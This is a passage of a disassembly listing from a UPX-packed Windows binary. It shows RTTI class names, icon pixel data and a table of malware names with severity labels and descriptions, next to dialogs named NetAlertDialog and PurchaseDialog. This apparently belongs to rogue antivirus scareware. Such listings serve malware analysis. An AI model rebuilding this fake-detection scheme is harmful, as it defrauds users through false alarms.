off_42B5B0 dd offset off_41D588 ; DATA XREF: UPX0:00425BA8o
; UPX0:00425CD4o
align 8
a_?av?Ccomobjec db '.?AV?$CComObject@V?$CComEnum@UIEnumUnknown@@$1?_GUID_00000100_000'
db '0_0000_c000_000000000046@@3U__s_GUID@@BPAUIUnknown@@V?$_CopyInter'
db 'face@UIUnknown@@@ATL@@VCComMultiThreadModel@6@@ATL@@@ATL@@',0
align 4
off_42B678 dd offset off_41D588 ; DATA XREF: UPX0:00425DB8o
align 10h
a_?av?Cwindow_1 db '.?AV?$CWindowImpl@VCAxUIWindow@ATL@@VCWindow@2@V?$CWinTraits@$0FG'
db 'AAAAAA@$0A@@2@@ATL@@',0
align 4
off_42B6D8 dd offset off_41D588 ; DATA XREF: UPX0:00425D5Co
align 10h
a_?avcaxuiwindo db '.?AVCAxUIWindow@ATL@@',0
align 4
off_42B6F8 dd offset off_41D588 ; DATA XREF: UPX0:00425CFCo
; UPX0:00425D10o ...
align 10h
a_?av?Ccomobj_0 db '.?AV?$CComObject@VCAxUIWindow@ATL@@@ATL@@',0
align 4
off_42B72C dd offset off_41D588 ; DATA XREF: UPX0:off_425574o
; UPX0:00425FB8o
dd 0
a_?auiolewindow db '.?AUIOleWindow@@',0
align 4
off_42B748 dd offset off_41D588 ; DATA XREF: UPX0:00425F7Co
align 10h
a_?auioleinpl_2 db '.?AUIOleInPlaceUIWindow@@',0
align 4
off_42B76C dd offset off_41D588 ; DATA XREF: UPX0:00425FF0o
dd 0
a_?auioleinpl_3 db '.?AUIOleInPlaceFrame@@',0
align 4
off_42B78C dd offset off_41D588 ; DATA XREF: UPX0:off_4260CCo
dd 0
a_?avcmessagema db '.?AVCMessageMap@ATL@@',0
align 4
off_42B7AC dd offset off_41D588 ; DATA XREF: UPX0:off_426100o
; UPX0:00426134o
dd 0
a_?avcwindow@at db '.?AVCWindow@ATL@@',0
align 4
off_42B7C8 dd offset off_41D588 ; DATA XREF: UPX0:off_426090o
align 10h
a_?av?Cwindow_2 db '.?AV?$CWindowImplRoot@VCWindow@ATL@@@ATL@@',0
align 10h
off_42B800 dd offset off_41D588 ; DATA XREF: UPX0:off_426050o
align 8
a_?av?Cwindow_3 db '.?AV?$CWindowImplBaseT@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A'
db '@@2@@ATL@@',0
align 8
dd offset off_41D588
align 10h
a_?av?Cwindow_4 db '.?AV?$CWindowImpl@VCAxFrameWindow@ATL@@VCWindow@2@V?$CWinTraits@$'
db '0FGAAAAAA@$0A@@2@@ATL@@',0
align 10h
off_42B8C0 dd offset off_41D588 ; DATA XREF: UPX0:004261A4o
align 8
a_?av?Ccomobj_1 db '.?AV?$CComObjectRootEx@VCComMultiThreadModel@ATL@@@ATL@@',0
align 4
off_42B904 dd offset off_41D588 ; DATA XREF: UPX0:00425E88o
dd 0
a_?avcaxframewi db '.?AVCAxFrameWindow@ATL@@',0
align 4
off_42B928 dd offset off_41D588 ; DATA XREF: UPX0:00425E24o
; UPX0:00425E38o
align 10h
a_?av?Ccomobj_2 db '.?AV?$CComObject@VCAxFrameWindow@ATL@@@ATL@@',0
align 10h
off_42B960 dd offset off_41D588 ; DATA XREF: UPX0:off_425820o
; UPX0:00425C28o ...
align 8
a_?avccomobject db '.?AVCComObjectRootBase@ATL@@',0
align 4
off_42B988 dd offset off_41D588 ; DATA XREF: UPX0:off_42583Co
; UPX0:0042629Co
align 10h
a_?av?Ccomobj_3 db '.?AV?$CComObjectRootEx@VCComSingleThreadModel@ATL@@@ATL@@',0
align 4
off_42B9CC dd offset off_41D588 ; DATA XREF: UPX0:off_4250BCo
; UPX0:off_425208o ...
dd 0
dd 55413F2Eh, 6B6E5549h, 6E776F6Eh, 4040h
off_42B9E4 dd offset off_41D588 ; DATA XREF: UPX0:004261E8o
; UPX0:004262ECo
dd 0
a_?av?Ccompolyo db '.?AV?$CComPolyObject@VCAxHostWindow@ATL@@@ATL@@',0
off_42BA1C dd offset off_41D588 ; DATA XREF: UPX0:00426D78o
dd 0
a_?avcatlexcept db '.?AVCAtlException@ATL@@',0
dword_42BA3C dd 2 dup(80000000h), 3 dup(0) dd offset dword_41F0A4
dd offset dword_423A0C
dword_42BA58 dd 2Ah dup(0) ; sub_409FB8+A3o ...
dd 1000000h, 8000000h, 8 dup(0)
dd 2000000h, 14h dup(0)
dd 2000000h, 0E000000h, 26000000h, 0AD7D7D7Dh, 0E8A0A0A0h
dd 0FF868990h, 0FF6C7383h, 0FC8F949Fh, 0F3B7B7B8h, 0CE9D9D99h
dd 36040404h, 10000000h, 4000000h, 11h dup(0)
dd 3000000h, 15000000h, 0
dd 0A980807Eh, 0D9ABABABh, 0FE344463h, 0FF314363h, 0FF324161h
dd 0FF2C3D60h, 0FF334368h, 0FF314265h, 0FF2D3F62h, 0F9B9BBBFh
dd 0CDA6A5A4h, 2 dup(0)
dd 5000000h, 0Eh dup(0)
dd 2000000h, 11000000h, 0
dd 0C5928E8Eh, 0EE9FA1A7h, 0FB4A5972h, 0FF314467h, 0FF263A5Dh
dd 0FF192B51h, 0FF162A55h, 0FF1B2E5Ah, 0FF243761h, 0FF2F4267h
dd 0FF3A4A6Bh, 0FDA3A8B2h, 0DABCB8B6h, 10h dup(0)
dd 0C000000h, 0
dd 0CE93928Fh, 0F79699A4h, 0FF6885A6h, 0FF2A4167h, 0FF1F345Dh
dd 0FF192F59h, 0FF1A305Ah, 0FF1F3562h, 0FF1F3565h, 0FF1B3260h
dd 0FF1E3360h, 0FF243762h, 0FF263861h, 0FF9299A7h, 0E7C0BCBAh
dd 10h dup(0)
; ---------------------------------------------------------------------------
add dword ptr [ebx-42423D7Dh], 0FFFFFFBFh
stc
movsd
popf
cwde
push dword ptr [ecx-5900615Ah]
test [eax-1], ebp
db 66h
cmp [edi], bl
jmp dword ptr [edi+3Ah]
; ---------------------------------------------------------------------------
and bh, bh
push 6EFF2139h
db 3Eh
and al, 0FFh
jno short near ptr word_42BDDA
and eax, 233D6DFFh
jmp fword ptr [ecx+3Ah]
; ---------------------------------------------------------------------------
and edi, edi
db 66h
cmp [ebx], ah
jmp dword ptr [ebx+36h]
; ---------------------------------------------------------------------------
and edi, edi
pop esi
xor bl, [edi]
jmp dword ptr [edi-4D006F69h]
; ---------------------------------------------------------------------------
db 0B4h, 0B5h, 0DBh
dd 8 dup(0)
db 2 dup(0)
word_42BDDA dw 0 ; CODE XREF: UPX0:0042BD98j
dd 4 dup(0)
dd 2000000h, 0A76F6F6Fh, 0F2BABABAh, 0FFB6B5B6h, 0FFBCBBB8h
dd 0FFA3A7ABh, 0FF9EA6B1h, 0FF6885A6h, 0FF284372h, 0FF284371h
dd 0FF2A477Ah, 0FF2B497Dh, 0FF29467Ah, 0FF284376h, 0FF223B6Ch
dd 0FF223B69h, 0FF1D3462h, 0FF1D325Fh, 0FB9FA2AEh, 0B99E9D9Ah
dd 4000000h, 0Bh dup(0)
dd 11000000h, 0E7B7B7B7h, 0FEB6B6B6h, 0FFB4B4B4h, 0FFB3B3B3h
dd 0FFBBBAB7h, 0FFB1B1B2h, 0FF9EA6B1h, 0FF6885A6h, 0FF2F4C78h
dd 0FF325081h, 0FF325285h, 0FF2F4F83h, 0FF2D4C82h, 0FF284579h
dd 0FF264072h, 0FF233C6Ch, 0FF162F60h, 0FF2C3F6Ah, 0EABBBCC3h
dd 16000000h, 1000000h, 9 dup(0)
dd 3000000h, 4E1A1A1Ah, 0F9BFBFBFh, 3 dup(0FFB7B7B7h)
dd 0FFB6B6B6h, 0FFBDBCB9h, 2 dup(0FF9EA6B1h), 0FF6885A6h
dd 0FF3B5A87h, 0FF3B5B8Bh, 0FF385889h, 0FF355587h, 0FF2E4E82h
dd 0FF2A487Eh, 0FF274376h, 0FF243F6Fh, 0FF152F60h, 0FA546384h
dd 0FCCCCED3h, 0FACED0D5h, 8 dup(0)
dd 1000000h, 2 dup(0FFCECECEh), 0FFBDBDBDh, 5 dup(0FFBEBEBEh)
dd 0FFC0BFBFh, 0FFC8C6C3h, 0FF9EA6B1h, 0FF6885A6h, 0FF466995h
dd 0FF4B6C96h, 0FF476894h, 0FF3E5E8Eh, 0FF375989h, 0FF325287h
dd 0FF2C4C82h, 0FF284579h, 0FF1A356Ah, 0E7C6C6CAh, 0FACED0D5h
dd 2000000h, 7 dup(0)
dd 13000000h, 0FFCDCDCDh, 0FFCECECEh, 8 dup(0FFC1C1C1h)
dd 0FFCCC9C5h, 0FFB6BCC2h, 0FF6885A6h, 0FF4B6F99h, 0FF507199h
dd 0FF466593h, 0FF3F6190h, 0FF385A8Dh, 0FF325389h, 0FF2C4B82h
dd 0FF264278h, 0FF9AA5B6h, 0FECCCED3h, 8 dup(0)
dd 3 dup(0FFCECECEh), 8 dup(0FFC4C4C4h), 0FFC3C3C3h, 0FFD4D3D0h
dd 0FFC8CBCEh, 0FF7691AEh, 0FF4D729Dh, 0FF4D6D99h, 0FF466796h
dd 0FF3F6091h, 0FF38598Dh, 0FF305188h, 0FF2C4B81h, 0FF56698Fh
dd 0ECC4C3C2h, 8 dup(0)
dd 3 dup(0FFCECECEh), 8 dup(0FFC9C9C9h), 0FFC8C8C8h, 0FFCFCFD0h
dd 0FFDCDAD7h, 0FFD2D4D4h, 0FF879EB6h, 0FF52749Eh, 0FF4D6F9Ah
dd 0FF456696h, 0FF3E5F92h, 0FF36578Dh, 0FF305087h, 0FF294476h
dd 0FDBDC0C8h, 0FACED0D5h, 7 dup(0)
dd 3 dup(0FFCECECEh), 9 dup(0FFCCCCCCh), 0FFD2D2D2h, 0FFD5D5D5h
dd 0FFDBD9D7h, 0FFDAD8D7h, 0FF879EB6h, 0FF4E739Eh, 0FF4C6D9Ah
dd 0FF426595h, 0FF3A5C91h, 0FF33548Ch, 0FF1B3970h, 0FF96A2B7h
dd 0FACED0D5h, 7 dup(0)
dd 3 dup(0FFCECECEh), 9 dup(0FFCFCFCFh), 0FFD5D5D5h, 2 dup(0FFD8D8D8h)
dd 0FFDCDBDBh, 0FFDAD8D7h, 0FF879EB6h, 0FF4A6E9Dh, 0FF486A99h
dd 0FF3F6194h, 0FF365890h, 0FF1A3973h, 0FF6D7EA1h, 0D4BEBBBAh
dd 7 dup(0)
dd 0FEBBBDBFh, 0FF5574A4h, 0FFEAF0F8h, 2 dup(0FFD5D5D5h)
dd 0FFD6D6D6h, 6 dup(0FFD5D5D5h), 0FFDADADAh, 4 dup(0FFDDDDDDh)
dd 0FFE8E5E2h, 0FF879EB6h, 0FF4A6E9Dh, 0FF3C6097h, 0FF3B5E97h
dd 0FF24447Fh, 0FF3B5686h, 0FACED0D5h, 7 dup(0)
dd 0FFBCBEC1h, 0FF5574A4h, 0FF2F5696h, 0FFEAF0F8h, 0FFDEDEDEh
dd 3 dup(0FFE0E0E0h), 0FFDEDEDEh, 3 dup(0FFDFDFDFh), 0FFDEDEDEh
dd 5 dup(0FFDDDDDDh), 0FFE6E5E1h, 0FF879EB6h, 0FF4A6E9Dh
dd 0FF325792h, 0FF274882h, 0FF314D81h, 0FFC6CBD2h, 7 dup(0)
dd 0FFBDBFC1h, 0FF5C7CAEh, 0FF2F5696h, 0FF446AA2h, 0FFEAF0F8h
dd 0FFE9E9EAh, 0FFECECECh, 0FFEBEBEBh, 0FFE9E9E9h, 0FFE8E8E8h
dd 2 dup(0FFE9E9E9h), 0FFE2E2E2h, 5 dup(0FFDDDDDDh), 0FFDCDCDDh
dd 0FFE6E4E0h, 0FF879EB6h, 0FF4A6E9Dh, 0FF254683h, 0FF2D497Eh
dd 0FFC0C6D1h, 7 dup(0)
; ---------------------------------------------------------------------------
sar dword ptr [edi-7C4C0043h], 62h
jmp dword ptr [edx-5B00BB96h]
; ---------------------------------------------------------------------------
db 6Ah, 43h, 0FFh
dd 0FF688BB8h, 0FFEAF0F8h, 2 dup(0FFEEEEEEh), 0FFEFEFEFh
dd 0FFECECECh, 2 dup(0FFEBEBEBh), 0FFE5E5E5h, 6 dup(0FFE1E1E1h)
dd 0FFE0E0E0h, 0FFE7E6E3h, 0FF879EB6h, 0FF1D407Fh, 0FF25427Bh
dd 0FFC7CDD6h, 7 dup(0)
; ---------------------------------------------------------------------------
sar dword ptr [edi-79480043h], 65h
jmp fword ptr [edx-5B00B18Ch]
; ---------------------------------------------------------------------------
db 6Ah, 43h, 0FFh
dd 0FF6788B5h, 0FF688BB8h, 0FFEAF0F8h, 0FFF2F1F1h, 2 dup(0FFF2F2F2h)
dd 0FFF0F0F0h, 0FFEFEFEFh, 0FFE7E7E7h, 8 dup(0FFE3E3E3h)
dd 0FFE9E8E6h, 0FF94A2BBh, 0FE28477Eh, 0FFC2C8D5h, 7 dup(0)
dd 0FFBDBFC2h, 0FE6D8DBBh, 0FF537DB0h, 0FF5B80B2h, 0FF5078AEh
dd 0FF688BB8h, 0FF9EBADCh, 0FFEAF0F8h, 0FFF6F7F6h, 2 dup(0FFF8F8F8h)
dd 0FFF7F7F7h, 0FFEEEEEEh, 3 dup(0FFE7E7E7h), 5 dup(0FFE8E8E8h)
dd 0FFE7E7E8h, 0FFF4F3EFh, 0FFB2BBCCh, 0FFD5DAE2h, 7 dup(0)
dd 0FFBEC0C2h, 0FF7BA0CAh, 0FF648EBEh, 0FF6C93C1h, 0FF6E95C2h
dd 0FF7197C2h, 0FF6D93C1h, 0FF6F93C2h, 0FFEAF0F8h, 0FFFFFFFEh
dd 2 dup(0FFFEFEFEh), 0FFFBFBFBh, 3 dup(0FFF9F9F9h), 0FFF5F5F5h
dd 0FFF2F2F2h, 0FFF0F0F0h, 2 dup(0FFEFEFEFh), 2 dup(0FFEEEEEEh)
dd 0FEEEEEEEh, 0FFFCFCFCh, 7 dup(0)
dd 0FFBEC0C2h, 0FF82A9D0h, 0FF6C97C4h, 0FF759CC7h, 0FF779EC8h
dd 0FF799EC9h, 0FF7CA1CAh, 0FF7B9EC9h, 0FF769BC7h, 0FFEAF0F8h
dd 2 dup(0FFFFFFFFh), 0FFFCFCFCh, 0FFFAFAFAh, 0FFFBFBFBh
dd 0FFFCFCFCh, 2 dup(0FFFEFEFEh), 0FFFDFDFDh, 0FFFCFCFCh
dd 0FFFBFBFBh, 0FFFAFAFAh, 0FFF8F8F8h, 0FFF9F9F9h, 0FFFFFFFFh
dd 7 dup(0)
dd 0FFBEC0C2h, 0FF8AB1D7h, 0FF75A1CBh, 0FF7FA7CFh, 2 dup(0FF82A8D0h)
dd 0FF84A8D0h, 0FF85A8D0h, 0FF85A7D0h, 0FFA5BEDBh, 0FFEAF0F8h
dd 0FFFFFFFFh, 0FFFEFEFDh, 3 dup(0FFFDFDFDh), 9 dup(0FFFFFFFFh)
dd 7 dup(0)
dd 0FFBEC0C2h, 0FF92BADCh, 0FF7EABD2h, 0FF87B0D6h, 0FF89B1D5h
dd 0FF8AB1D5h, 0FF8CB1D5h, 0FF8CB0D5h, 0FF8EAFD6h, 0FF87A8D1h
dd 0FFA2BBDBh, 0FFEAF0F8h, 0Dh dup(0FFFFFFFFh), 7 dup(0)
dd 0FEBEC0C2h, 0FF99C2E2h, 0FF88B6DAh, 0FF91BADCh, 2 dup(0FF93B9DCh)
dd 2 dup(0FF94B8DBh), 0FF94B6DAh, 0FF97B6DAh, 0FF8FAFD6h
dd 0FF9EBADCh, 0FFE1E9F5h, 0Ch dup(0FFFFFFFFh), 7 dup(0)
dd 0FEBEC0C2h, 0FFA0CAE6h, 0FF91BEDEh, 0FF98C1E0h, 0FF99C0E0h
dd 0FF99BFDFh, 0FF9ABEDFh, 0FF9ABEDEh, 0FF9ABCDDh, 0FF9CBADCh
dd 0FF9DBADCh, 0FF97B5D9h, 0FF9EB8DBh, 0FFDAE3F0h, 0Bh dup(0FFFFFFFFh)
dd 7 dup(0)
dd 0FEBEC0C2h, 0FFA7D0E9h, 0FF9AC6E3h, 0FFA0C9E4h, 0FFA0C7E3h
dd 0FFA1C6E2h, 0FFA0C4E1h, 0FFA0C3E1h, 0FFA0C1E0h, 0FFA2BFDFh
dd 0FFA1BEDFh, 0FFA3BEDEh, 0FF9FBADCh, 0FFA1BBDCh, 0FFD2DFEFh
dd 0FFFEFEFFh, 9 dup(0FFFFFFFFh), 7 dup(0)
dd 0FEBEC0C2h, 0FFEAFAFFh, 0FFCDEDFCh, 0FFD0ECFBh, 0FFCFEAFBh
dd 0FFCFE9FAh, 0FFCEE7F8h, 0FFCDE6F8h, 0FFCCE4F7h, 0FFCCE1F6h
dd 0FFCDE1F6h, 0FFCEDFF6h, 0FFCEDFF5h, 0FFD0E0F5h, 0FFCEDEF4h
dd 0FFCADBF3h, 9 dup(0FFFFFFFFh), 7 dup(0)
aOooi db 'ŽŽŽˆ´´·¹°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°³¶°°°¶¯'
db '¯¬¶¬¬¬¶¬¬¬¶¬¬¬¶¬¬¬¶¬¬¬¶¬¬¬¶°°°¹§§§©',0
align 4
dd 23h dup(0)
dword_42CA58 dd 400h dup(0FFFFFFh) ; sub_409FB8+6Eo ...
off_42DA58 dd offset aLdpinchV ; DATA XREF: sub_4098E0+21Fr
; "LdPinch V"
off_42DA5C dd offset aCritical ; DATA XREF: sub_4098E0+219r
; "Critical"
off_42DA60 dd offset aAVariantOfTheK ; DATA XREF: sub_4098E0+213r
; "A variant of the Key Logger that captur"...
dd offset aAdvancedStealt ; "Advanced Stealth Email Redirector 6.2"
dd offset aCritical_0 ; "Critical"
dd offset aAdvancedStea_0 ; "Advanced Stealth Email Redirector (Adva"...
dd offset aVmalumAws ; "VMalum AWS"
dd offset aHigh ; "High"
dd offset aTrojanAnyProgr ; "Trojan: Any program with a hidden inte"...
dd offset aCnnicUpdateU ; "CNNIC Update U"
dd offset aVeryHigh ; "Very high"
dd offset aAProgramThatDo ; "A program that downloads and may execut"...
dd offset aBancosDmd ; "Bancos DMD"
dd offset aCritical_1 ; "Critical"
dd offset aAVariantOfTh_0 ; "A variant of the Key Logger that captur"...
dd offset aWin32_grams_i ; "Win32.Grams.I"
dd offset aCritical_2 ; "Critical"
dd offset aWin32_grams_iI ; "Win32.Grams.I is a trojan that attempts"...
dd offset aZlobAn ; "Zlob AN"
dd offset aVeryHigh_0 ; "Very high"
dd offset aAProgramThat_0 ; "A program that downloads and may execut"...
dd offset aSillydlBcl ; "SillyDl BCL"
dd offset aVeryHigh_1 ; "Very High"
dd offset aAProgramThat_1 ; "A program that downloads and may execut"...
dd offset aCpush ; "CPush"
dd offset aMedium ; "Medium"
dd offset aCategoryAdware ; "Category Adware: Software that display"...
dd offset aWin32Wadnock ; "Win32/Wadnock"
dd offset aHigh_0 ; "High"
dd offset aWin32WadnockAr ; "Win32/Wadnock are a family of worms tha"...
dd offset aBestSearch ; "Best search"
dd offset aMedium_0 ; "Medium"
dd offset aCategoryAdwa_0 ; "Category Adware: Software that display"...
dd offset aWin32Nuqel_e ; "Win32/Nuqel.E"
dd offset aHigh_1 ; "High"
dd offset aWin32Nuqel_eIs ; "Win32/Nuqel.E is a worm that spreads vi"...
dd offset aEdgeTech ; "Edge Tech"
dd offset aMedium_1 ; "Medium"
dd offset aCategoryAdwa_1 ; "Category Adware: Software that display"...
dd offset aDisablekey ; "DisableKey"
dd offset aMedium_2 ; "Medium"
dd offset aCategoryAdwa_2 ; "Category Adware: Software that display"...
dd offset aEmogen_b ; "Emogen.B"
dd offset aMedium_3 ; "Medium"
dd offset aCategoryBackdo ; "Category Backdoor: It is a critical vul"...
dd offset aMoonlight_v ; "MoonLight.V"
dd offset aHigh_2 ; "High"
dd offset aCategoryWormIt ; "Category Worm: Its main objective is to"...
dd offset aAutorun_aol ; "Autorun.AOL"
dd offset aHigh_3 ; "High"
dd offset aCategoryWorm_0 ; "Category Worm: It spreads exploiting th"...
dd offset aSinowal_vxr ; "Sinowal.VXR"
dd offset aVeryHigh_2 ; "Very High"
dd offset aCategoryTrojan ; "Category Trojan: It is designed to obta"...
dd offset aAntivirus360 ; "Antivirus360"
dd offset aHigh_4 ; "High"
dd offset aCategoryAdwa_3 ; "Category Adware: It deceives users and "...
dd offset aBankerfox_a ; "BankerFox.A"
dd offset aMedium_4 ; "Medium"
dd offset aCategoryTroj_0 ; "Category Trojan: It is designed to stea"...
dd offset aP2pshared_u ; "P2PShared.U"
dd offset aHigh_5 ; "High"
dd offset aCategoryWorm_1 ; "Category Worm: Its main objective is to"...
dd offset aBittera_c ; "BitTera.C"
dd offset aCritical_3 ; "Critical"
dd offset aCategoryVirusI ; "Category Virus: It is a malicious tool "...
dd offset aAzero_b ; "Azero.B"
dd offset aHigh_6 ; "High"
dd offset aCategoryViru_0 ; "Category Virus: It modifies the Desktop"...
dd offset aSality_an ; "Sality.AN"
dd offset aCritical_4 ; "Critical"
dd offset aCategoryViru_1 ; "Category Virus: It infects executable f"...
dd offset aWinwebsecurity ; "WinWebSecurity2008"
dd offset aMedium_5 ; "Medium"
dd offset aCategoryAdwa_4 ; "Category Adware: It deceives users and "...
dd offset aDownloader_js_ ; "Downloader.JS.Small.fi"
dd offset aHigh_7 ; "High"
dd offset aCategoryTroj_1 ; "Category Trojan: This Trojan downloads "...
dd offset aPsw_win32_onli ; "PSW.Win32.OnLineGames.sxa"
dd offset aMedium_6 ; "Medium"
dd offset aCategoryTroj_2 ; "Category Trojan: This malicious program"...
dd offset aDownloader_win ; "Downloader_Win32_Agent.nmi"
dd offset aCritical_5 ; "Critical"
dd offset aCategoryTroj_3 ; "Category Trojan: This Trojan downloads "...
dd offset dword_4225FC+0E0h
dd offset aHigh_8 ; "High"
dd offset aCategoryTroj_4 ; "Category Trojan: This Trojan downloads "...
dd offset aDownloader_j_0 ; "Downloader.JS.Agent.sg"
dd offset aMedium_7 ; "Medium"
dd offset aCategoryTroj_5 ; "Category Trojan: This Trojan downloads "...
dd offset aGamethief_win3 ; "GameThief.Win32.OnLineGames.tnys"
dd offset aMedium_8 ; "Medium"
dd offset aCategoryTroj_6 ; "Category Trojan: This Trojan is designe"...
dd offset aPsw_win32_on_0 ; "PSW.Win32.OnLineGames.rlh"
dd offset aHigh_9 ; "High"
dd offset aCategoryTroj_7 ; "Category Trojan: This malicious program"...
dd offset aDownloader_w_0 ; "Downloader.Win32.Delf.cgx"
dd offset aHigh_10 ; "High"
dd offset aCategoryTroj_8 ; "Category Trojan: This Trojan downloads "...
dd offset dword_423144+158h
dd offset aHigh_11 ; "High"
dd offset aCategoryBack_0 ; "Category Backdoor: This Trojan provides"...
off_42DBF0 dd offset aAazalirt ; DATA XREF: sub_417692:loc_41770Br
; "aazalirt"
dd offset aSkaaanret ; "skaaanret"
dd offset aJungertab ; "jungertab"
dd offset aZibaglertz ; "zibaglertz"
dd offset aIddqdops ; "iddqdops"
dd offset aRonitfst ; "ronitfst"
dd offset aTobmygers ; "tobmygers"
dd offset aJikglond ; "jikglond"
dd offset aTobykke ; "tobykke"
dd offset aKlopnidret ; "klopnidret"
dd offset aJiklagka ; "jiklagka"
dd offset aSalrtybek ; "salrtybek"
dd offset aSeeukluba ; "seeukluba"
dd offset aJrjakdsd ; "jrjakdsd"
dd offset aKrkdkdkee ; "krkdkdkee"
dd offset aDkewiizkjdks ; "dkewiizkjdks"
dd offset aDkekkrkska ; "dkekkrkska"
dd offset aRkaskssd ; "rkaskssd"
dd offset aKuruhccdsdd ; "kuruhccdsdd"
dd offset aKrujmmwlrra ; "krujmmwlrra"
dd offset aKkwknrbsggeg ; "kkwknrbsggeg"
dd offset aKtknamwerr ; "ktknamwerr"
dd offset aIqmcnoeqz ; "iqmcnoeqz"
dd offset aIenotas ; "ienotas"
dd offset aKrkmahejdk ; "krkmahejdk"
dd offset aOtpeppggq ; "otpeppggq"
dd offset aKrtawefg ; "krtawefg"
dd offset aOranerkka ; "oranerkka"
dd offset aKitiiwhaas ; "kitiiwhaas"
dd offset aOtowjdseww ; "otowjdseww"
dd offset aOtnnbektre ; "otnnbektre"
dd offset aOropbbsee ; "oropbbsee"
dd offset aIrprokwks ; "irprokwks"
dd offset aOoorjaas ; "ooorjaas"
off_42DC78 dd offset off_41D588 ; DATA XREF: UPX0:00424DC4o
; UPX0:00425B4Co ...
align 10h
a_?avexception@ db '.?AVexception@std@@',0
off_42DC94 dd offset off_41D588 ; DATA XREF: UPX0:00425A3Co
; UPX0:00425A64o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_42DCB4 dd offset off_41D588 ; DATA XREF: UPX0:00425ADCo
; UPX0:00425B00o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 8
a0: ; DATA XREF: sub_404D0B+1Bo
unicode 0, <0>,0
dw 0Bh
unicode 0, <>,0
dd offset sub_406781
dd 5 dup(0)
dd 6, 3 dup(0)
dword_42DD08 dd 0 ; sub_404D0B+Cw
dd 0
dd 7F00h, 1, 14h dup(0)
dword_42DD68 dd 30h, 0Bh, 406781h, 5 dup(0) dd 6, 3 dup(0)
dword_42DD98 dd 0 ; sub_404D5C+Cw
dd 0
dd 7F00h, 1, 14h dup(0)
dword_42DDF8 dd 30h, 0Bh, 406781h, 5 dup(0) dd 6, 3 dup(0)
dword_42DE28 dd 0 ; sub_418186+46w
dd 0
dd 7F00h, 1, 13h dup(0)
off_42DE84 dd offset off_41D588 ; DATA XREF: UPX0:00425A8Co
; UPX0:00425AB4o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_42DEA4 dd offset dword_423B6C ; DATA XREF: sub_401652+4Fo
; sub_401BB2+10Fr
off_42DEA8 dd offset dword_42EE94 ; DATA XREF: sub_401BB2+69r
word_42DEAC dw 0FFFFh ; DATA XREF: sub_401BB2+7Er
word_42DEAE dw 0FFFFh ; DATA XREF: sub_401BB2+87r
dword_42DEB0 dd 0 ; sub_401931:loc_401957r ...
align 8
dword_42DEB8 dd 0 ; sub_401931+2Fr ...
dword_42DEBC dd 0 ; sub_4019F2+2Dw ...
off_42DEC0 dd offset off_41D588 ; DATA XREF: UPX0:00425B28o
; UPX0:00425B80o ...
align 8
a_?avbad_alloc@ db '.?AVbad_alloc@std@@',0
off_42DEDC dd offset off_41D588 ; DATA XREF: UPX0:00426314o
; UPX0:00426328o ...
dd 0
a_?avmaindialog db '.?AVMainDialog@@',0
align 4
off_42DEF8 dd offset off_41D588 ; DATA XREF: UPX0:00426394o
; UPX0:004263A8o ...
align 10h
a_?avnetalertdi db '.?AVNetAlertDialog@@',0
align 4
off_42DF18 dd offset off_41D588 ; DATA XREF: UPX0:00426414o
; UPX0:00426428o ...
align 10h
a_?avalertdialo db '.?AVAlertDialog@@',0
align 4
off_42DF34 dd offset off_41D588 ; DATA XREF: UPX0:00426494o
; UPX0:004264A8o ...
dd 0
a_?avpurchasedi db '.?AVPurchaseDialog@@',0
align 4
off_42DF54 dd offset off_41D588 ; DATA XREF: UPX0:0042653Co
dd 0
a_?auiregistrar db '.?AUIRegistrarBase@@',0
align 4
off_42DF74 dd offset off_41D588 ; DATA XREF: UPX0:00426514o
; UPX0:00426574o
dd 0
a_?avcregobject db '.?AVCRegObject@ATL@@',0
align 4
off_42DF94 dd offset off_41D588 ; DATA XREF: UPX0:0042663Co
; UPX0:00426670o
dd 0
a_?au_atl_modul db '.?AU_ATL_MODULE70@ATL@@',0
off_42DFB4 dd offset off_41D588 ; DATA XREF: UPX0:00426604o
dd 0
a_?avcatlmodule db '.?AVCAtlModule@ATL@@',0
align 4
off_42DFD4 dd offset off_41D588 ; DATA XREF: UPX0:004265C8o
dd 0
a_?av?Catlmodul db '.?AV?$CAtlModuleT@VCComModule@ATL@@@ATL@@',0
align 4
off_42E008 dd offset off_41D588 ; DATA XREF: UPX0:0042659Co
align 10h
a_?avccommodule db '.?AVCComModule@ATL@@',0
align 4
aUs db 'u˜',0
align 4
aSs db 's˜',0
align 10h
dword_42E030 dd 400h ; sub_419DAB+44Fr
dword_42E034 dd 0FFFFFC01h dword_42E038 dd 35h ; sub_419DAB+178r ...
dword_42E03C dd 0Bh ; sub_419DAB+3ACr ...
dword_42E040 dd 40h dword_42E044 dd 3FFh ; sub_419DAB:loc_41A210r
dword_42E048 dd 80h ; sub_41A2EF+44Fr
dword_42E04C dd 0FFFFFF81h dword_42E050 dd 18h ; sub_41A2EF+178r ...
dword_42E054 dd 8 ; sub_41A2EF+3ACr ...
dword_42E058 dd 20h dword_42E05C dd 7Fh ; sub_41A2EF:loc_41A754r
dword_42E060 dd 2 dup(0) ; sub_41AF2B+196o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
